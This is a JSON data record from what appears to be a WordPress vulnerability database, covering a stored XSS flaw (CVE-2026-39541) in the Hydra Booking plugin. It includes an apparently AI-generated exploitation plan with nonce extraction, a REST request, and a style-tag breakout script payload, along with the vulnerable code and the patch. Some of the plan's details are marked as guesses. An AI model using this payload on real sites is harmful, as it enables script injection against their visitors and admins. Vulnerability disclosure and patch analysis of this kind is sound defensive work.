[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fXPfB3AVRkaWzk-stTblI1s67D4MStvk_ZRmFrWVkDXc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-39541","hydra-booking-authenticated-hydra-host-stored-cross-site-scripting","Hydra Booking \u003C= 1.1.38 - Authenticated (Hydra host+) Stored Cross-Site Scripting","The Hydra Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.38 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with hydra host-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","hydra-booking",null,"\u003C=1.1.38","1.1.39","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-02-15 00:00:00","2026-04-15 21:28:45",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F094d4fb1-1b8e-4d0c-9e79-91ecf39caf9f?source=api-prod",60,[22,23,24,25,26,27,28,29],"admin\u002FController\u002FAdminMenu.php","admin\u002FController\u002FEnqueue.php","admin\u002FController\u002FHelper.php","admin\u002FController\u002FMeetingController.php","admin\u002FController\u002FSettingsController.php","app\u002FApp.php","app\u002FEnqueue.php","assets\u002Fapp\u002Fcss\u002Fstyle.css","researched",false,3,"# Exploitation Research Plan - CVE-2026-39541\n\n## 1. Vulnerability Summary\nThe **Hydra Booking** plugin for WordPress is vulnerable to **Stored Cross-Site Scripting (XSS)** in versions up to and including 1.1.38. The vulnerability exists because the plugin fails to sanitize and escape settings values (specifically appearance and theme colors) before storing them and subsequently rendering them within an inline `\u003Cstyle>` block. An authenticated attacker with `tfhb_host` (Hydra host) privileges or higher can inject malicious JavaScript that executes in the context of any user visiting the site (frontend or admin).\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-json\u002Fhydra-booking\u002Fv1\u002Fsettings\u002Fappearance-settings\u002Fupdate`\n*   **HTTP Method:** `POST`\n*   **Payload Parameter:** `primary_color` (within a JSON body)\n*   **Authentication:** Authenticated, user role `tfhb_host` or higher.\n*   **Permissions:** The endpoint is protected by a permission callback (likely `tfhb_manage_options_permission` or similar), which the `tfhb_host` role is granted or can bypass due to logic flaws in the plugin's capability mapping.\n*   **Preconditions:** A user with the `tfhb_host` role must be created.\n\n## 3. Code Flow\n1.  **Injection Sink:** In `app\u002FEnqueue.php`, the function `tfhb_enqueue_scripts()` retrieves settings from the option `_tfhb_appearance_settings`.\n    *   It extracts values like `$tfhb_primary_color = $_tfhb_appearance_settings['primary_color']`.\n    *   It constructs a CSS string: `$tfhb_theme_css = \":root { --tfhb-primary-color: $tfhb_primary_color; ... }\"`.\n    *   It outputs this via `wp_add_inline_style( 'tfhb-style', $tfhb_theme_css )`.\n    *   **Crucially**, the variables are concatenated directly into the CSS string without any sanitization or escaping.\n2.  **Data Storage:** In `admin\u002FController\u002FSettingsController.php`, the REST route `\u002Fsettings\u002Fappearance-settings\u002Fupdate` calls a handler (e.g., `UpdateAppearanceSettings`) which takes the POST body and saves it to the `_tfhb_appearance_settings` option using `update_option()`.\n\n## 4. Nonce Acquisition Strategy\nThe REST API requires a valid `wp_rest` nonce. This nonce is localized by the plugin for the React-based admin interface.\n\n1.  **Identify Page:** The script `tfhb-admin-core` is enqueued on the Hydra Booking admin page (`admin.php?page=hydra-booking`).\n2.  **Navigation:** Navigate to `\u002Fwp-admin\u002Fadmin.php?page=hydra-booking` as the `tfhb_host` user.\n3.  **Extraction:** Use `browser_eval` to extract the nonce from the localized JavaScript object `tfhb_core_apps`.\n    *   **JavaScript Variable:** `window.tfhb_core_apps`\n    *   **Key:** `rest_nonce`\n    *   **Command:** `browser_eval(\"window.tfhb_core_apps?.rest_nonce\")`\n\n## 5. Exploitation Strategy\n1.  **Setup Host User:** Ensure a user exists with the role `tfhb_host`.\n2.  **Extract Nonce:**\n    *   Log in as the `tfhb_host` user.\n    *   Navigate to `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=hydra-booking`.\n    *   Run `browser_eval(\"window.tfhb_core_apps.rest_nonce\")` to get the `$REST_NONCE`.\n3.  **Submit Payload:**\n    *   Use `http_request` to send a POST request to the REST endpoint.\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fhydra-booking\u002Fv1\u002Fsettings\u002Fappearance-settings\u002Fupdate`\n    *   **Headers:**\n        *   `Content-Type: application\u002Fjson`\n        *   `X-WP-Nonce: $REST_NONCE`\n    *   **Body:**\n        ```json\n        {\n          \"primary_color\": \"red; } \u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\u003Cstyle> .dummy { color: \"\n        }\n        ```\n4.  **Trigger Execution:** Visit the site homepage or any admin page where the plugin enqueues styles. The injected script will execute immediately.\n\n## 6. Test Data Setup\n*   **User:** Create a user `host_attacker` with the password `password123` and role `tfhb_host`.\n*   **Plugin State:** Ensure the Hydra Booking plugin is active.\n*   **Shortcode:** Create a page with the shortcode `[hydra_booking]` to ensure frontend scripts\u002Fstyles are loaded if necessary.\n\n## 7. Expected Results\n*   The REST API should return a success message (e.g., `{\"status\": true, ...}`).\n*   The WordPress option `_tfhb_appearance_settings` will now contain the XSS payload.\n*   When visiting the homepage, the HTML source will contain:\n    ```html\n    \u003Cstyle id='tfhb-style-inline-css' type='text\u002Fcss'>\n    :root {\n        --tfhb-primary-color: red; } \u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\u003Cstyle> .dummy { color: ;\n        ...\n    }\n    \u003C\u002Fstyle>\n    ```\n*   A browser alert box showing the document domain will appear.\n\n## 8. Verification Steps\n1.  **Check Option Value:** Use WP-CLI to verify the stored value:\n    *   `wp option get _tfhb_appearance_settings`\n2.  **Verify Payload in Source:** Use `http_request` (GET) to the homepage and grep for the script tag:\n    *   Look for `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\n\n## 9. Alternative Approaches\nIf the `appearance-settings` update fails, target the **Frontend Dashboard** settings which are also vulnerable to CSS breakout in `admin\u002FController\u002FEnqueue.php`.\n*   **Endpoint:** `\u002Fwp-json\u002Fhydra-booking\u002Fv1\u002Fsettings\u002Fgeneral\u002Fupdate` (Verify if this updates the `_tfhb_frontend_dashboard_settings` option).\n*   **Target Page:** Any page using the `tfhb-frontend-dashboard.php` template.\n*   **Payload:** Same CSS breakout technique applied to the `primery_default` parameter.","The Hydra Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient sanitization and output escaping of theme and appearance settings. Authenticated attackers with 'tfhb_host' privileges or higher can inject arbitrary JavaScript into settings that are subsequently rendered within inline CSS blocks on the frontend and admin dashboard.","\u002F\u002F File: app\u002FEnqueue.php\n\u002F\u002F Lines 32-58\n\n\t\t$tfhb_primary_color   = ! empty( $_tfhb_appearance_settings['primary_color'] ) ? $_tfhb_appearance_settings['primary_color'] : '#2E6B38';\n\t\t$tfhb_primary_hover   = ! empty( $_tfhb_appearance_settings['primary_hover'] ) ? $_tfhb_appearance_settings['primary_hover'] : '#4C9959';\n\t\t$tfhb_secondary_color = ! empty( $_tfhb_appearance_settings['secondary_color'] ) ? $_tfhb_appearance_settings['secondary_color'] : '#273F2B';\n\t\t$tfhb_secondary_hover = ! empty( $_tfhb_appearance_settings['secondary_hover'] ) ? $_tfhb_appearance_settings['secondary_hover'] : '#E1F2E4';\n\t\t$tfhb_text_title_color = ! empty( $_tfhb_appearance_settings['text_title_color'] ) ? $_tfhb_appearance_settings['text_title_color'] : '#141915';\n\t\t$tfhb_paragraph_color = ! empty( $_tfhb_appearance_settings['paragraph_color'] ) ? $_tfhb_appearance_settings['paragraph_color'] : '#273F2B';\n\t\t$tfhb_surface_primary = ! empty( $_tfhb_appearance_settings['surface_primary'] ) ? $_tfhb_appearance_settings['surface_primary'] : '#C0D8C4';\n\t\t$tfhb_surface_background = ! empty( $_tfhb_appearance_settings['surface_background'] ) ? $_tfhb_appearance_settings['surface_background'] : '#EEF6F0';\n\t\t$tfhb_theme_css       = \"\n        :root {\n            --tfhb-primary-color: $tfhb_primary_color;\n            --tfhb-primary-hover-color: $tfhb_primary_hover;\n            --tfhb-secondary-color: $tfhb_secondary_color;\n            --tfhb-secondary-hover-color: $tfhb_secondary_hover;\n            --tfhb-paragraph-color: $tfhb_paragraph_color;\n            --tfhb-text-title-color: $tfhb_text_title_color;\n            --tfhb-surface-primary-color: $tfhb_surface_primary;\n            --tfhb-surface-background-color: $tfhb_surface_background;\n          }\n        \";\n\t\twp_add_inline_style( 'tfhb-style', $tfhb_theme_css ); \n\n---\n\n\u002F\u002F File: admin\u002FController\u002FEnqueue.php\n\u002F\u002F Lines 121-147\n\n\t\tif($front_end_dashboard == true){\n\t\t\t$settings = !empty(get_option('_tfhb_frontend_dashboard_settings')) ? get_option('_tfhb_frontend_dashboard_settings') : array();\n\t\t\t$primery_default  = isset($settings['general']['primery_default']) ? $settings['general']['primery_default'] : '#2E6B38'; \n\t\t\t$primery_hover  = isset($settings['general']['primery_hover']) ? $settings['general']['primery_hover'] : '#4C9959'; \n            \u002F\u002F ... (truncated)\n\t\t\t$custom_css = \"\n\t\t\t\t:root {\n\t\t\t\t\t--tfhb-admin-primary-default: $primery_default; \n\t\t\t\t\t--tfhb-admin-primary-hover: $primery_hover; \n                    \u002F\u002F ... (truncated)\n\t\t\t\t} \n\t\t\t\";\n\t\t\twp_add_inline_style('tfhb-admin-style', $custom_css);\n\t\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhydra-booking\u002F1.1.38\u002Fadmin\u002FController\u002FEnqueue.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhydra-booking\u002F1.1.39\u002Fadmin\u002FController\u002FEnqueue.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhydra-booking\u002F1.1.38\u002Fadmin\u002FController\u002FEnqueue.php\t2026-02-15 09:54:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhydra-booking\u002F1.1.39\u002Fadmin\u002FController\u002FEnqueue.php\t2026-02-27 17:36:30.000000000 +0000\n@@ -121,17 +121,18 @@\n \n \t\tif($front_end_dashboard == true){\n \t\t\t$settings = !empty(get_option('_tfhb_frontend_dashboard_settings')) ? get_option('_tfhb_frontend_dashboard_settings') : array();\n-\t\t\t$primery_default  = isset($settings['general']['primery_default']) ? $settings['general']['primery_default'] : '#2E6B38'; \n-\t\t\t$primery_hover  = isset($settings['general']['primery_hover']) ? $settings['general']['primery_hover'] : '#4C9959'; \n-\t\t\t$secondary_default  = isset($settings['general']['secondary_default']) ? $settings['general']['secondary_default'] : '#273F2B'; \n-\t\t\t$secondary_hover  = isset($settings['general']['secondary_hover']) ? $settings['general']['secondary_hover'] : '#E1F2E4'; \n-\t\t\t$text_title  = isset($settings['general']['text_title']) ? $settings['general']['text_title'] : '#141915'; \n-\t\t\t$text_paragraph  = isset($settings['general']['text_paragraph']) ? $settings['general']['text_paragraph'] : '#273F2B';  \n-\t\t\t$surface_primary  = isset($settings['general']['surface_primary']) ? $settings['general']['surface_primary'] : '#F9FBF9';  \n-\t\t\t$surface_background  = isset($settings['general']['surface_background']) ? $settings['general']['surface_background'] : '#C0D8C4';  \n-\t\t\t$surface_border  = isset($settings['general']['surface_border']) ? $settings['general']['surface_border'] : '#C0D8C4';  \n-\t\t\t$surface_border_hover  = isset($settings['general']['surface_border_hover']) ? $settings['general']['surface_border_hover'] : '#211319';  \n-\t\t\t$surface_input_field  = isset($settings['general']['surface_input_field']) ? $settings['general']['surface_input_field'] : '#56765B';  \n+\t\t\t\u002F\u002F Validate color values - only allow valid hex colors (#RGB or #RRGGBB format)\n+\t\t\t$primery_default  = $this->validate_hex_color( $settings['general']['primery_default'] ?? '#2E6B38', '#2E6B38' );\n+\t\t\t$primery_hover  = $this->validate_hex_color( $settings['general']['primery_hover'] ?? '#4C9959', '#4C9959' );\n+\t\t\t$secondary_default  = $this->validate_hex_color( $settings['general']['secondary_default'] ?? '#273F2B', '#273F2B' );\n+\t\t\t$secondary_hover  = $this->validate_hex_color( $settings['general']['secondary_hover'] ?? '#E1F2E4', '#E1F2E4' );\n+\t\t\t$text_title  = $this->validate_hex_color( $settings['general']['text_title'] ?? '#141915', '#141915' );\n+\t\t\t$text_paragraph  = $this->validate_hex_color( $settings['general']['text_paragraph'] ?? '#273F2B', '#273F2B' );\n+\t\t\t$surface_primary  = $this->validate_hex_color( $settings['general']['surface_primary'] ?? '#F9FBF9', '#F9FBF9' );\n+\t\t\t$surface_background  = $this->validate_hex_color( $settings['general']['surface_background'] ?? '#C0D8C4', '#C0D8C4' );\n+\t\t\t$surface_border  = $this->validate_hex_color( $settings['general']['surface_border'] ?? '#C0D8C4', '#C0D8C4' );\n+\t\t\t$surface_border_hover  = $this->validate_hex_color( $settings['general']['surface_border_hover'] ?? '#211319', '#211319' );\n+\t\t\t$surface_input_field  = $this->validate_hex_color( $settings['general']['surface_input_field'] ?? '#56765B', '#56765B' );\n \t\t\t$custom_css = \"\n \t\t\t\t:root {\n \t\t\t\t\t--tfhb-admin-primary-default: $primery_default; \n@@ -154,4 +155,29 @@\n \t\t\twp_enqueue_media();\n \t\t}\n \t}\n+\n+\t\u002F**\n+\t * Validate and sanitize hex color values.\n+\t *\u002F\n+\tprivate function validate_hex_color( $color, $default_color = '#000000' ) {\n+\t\tif ( empty( $color ) ) {\n+\t\t\treturn $default_color;\n+\t\t}\n+\t\t$color = trim( $color );\n+\t\tif ( preg_match( '\u002F^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$\u002F', $color ) ) {\n+\t\t\treturn $color;\n+\t\t}\n+\t\treturn $default_color;\n+\t}","1. Authenticate to the WordPress site with a user having the 'tfhb_host' role.\n2. Navigate to the Hydra Booking admin page to extract the REST API nonce from the `window.tfhb_core_apps.rest_nonce` global variable.\n3. Send a POST request to the `\u002Fwp-json\u002Fhydra-booking\u002Fv1\u002Fsettings\u002Fappearance-settings\u002Fupdate` REST endpoint.\n4. In the JSON request body, set a color parameter (e.g., `primary_color`) to a payload that closes the CSS block and style tag, then executes JavaScript: `red; } \u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\u003Cstyle> .dummy { color: `.\n5. The payload will be saved to the database without sanitization.\n6. Visit any page on the site where the plugin enqueues styles (e.g., the homepage or a page with the booking shortcode) to trigger the script execution.","gemini-3-flash-preview","2026-04-20 22:04:56","2026-04-20 22:05:38",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.1.38","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhydra-booking\u002Ftags\u002F1.1.38","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fhydra-booking.1.1.38.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhydra-booking\u002Ftags\u002F1.1.39","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fhydra-booking.1.1.39.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhydra-booking\u002Ftags"]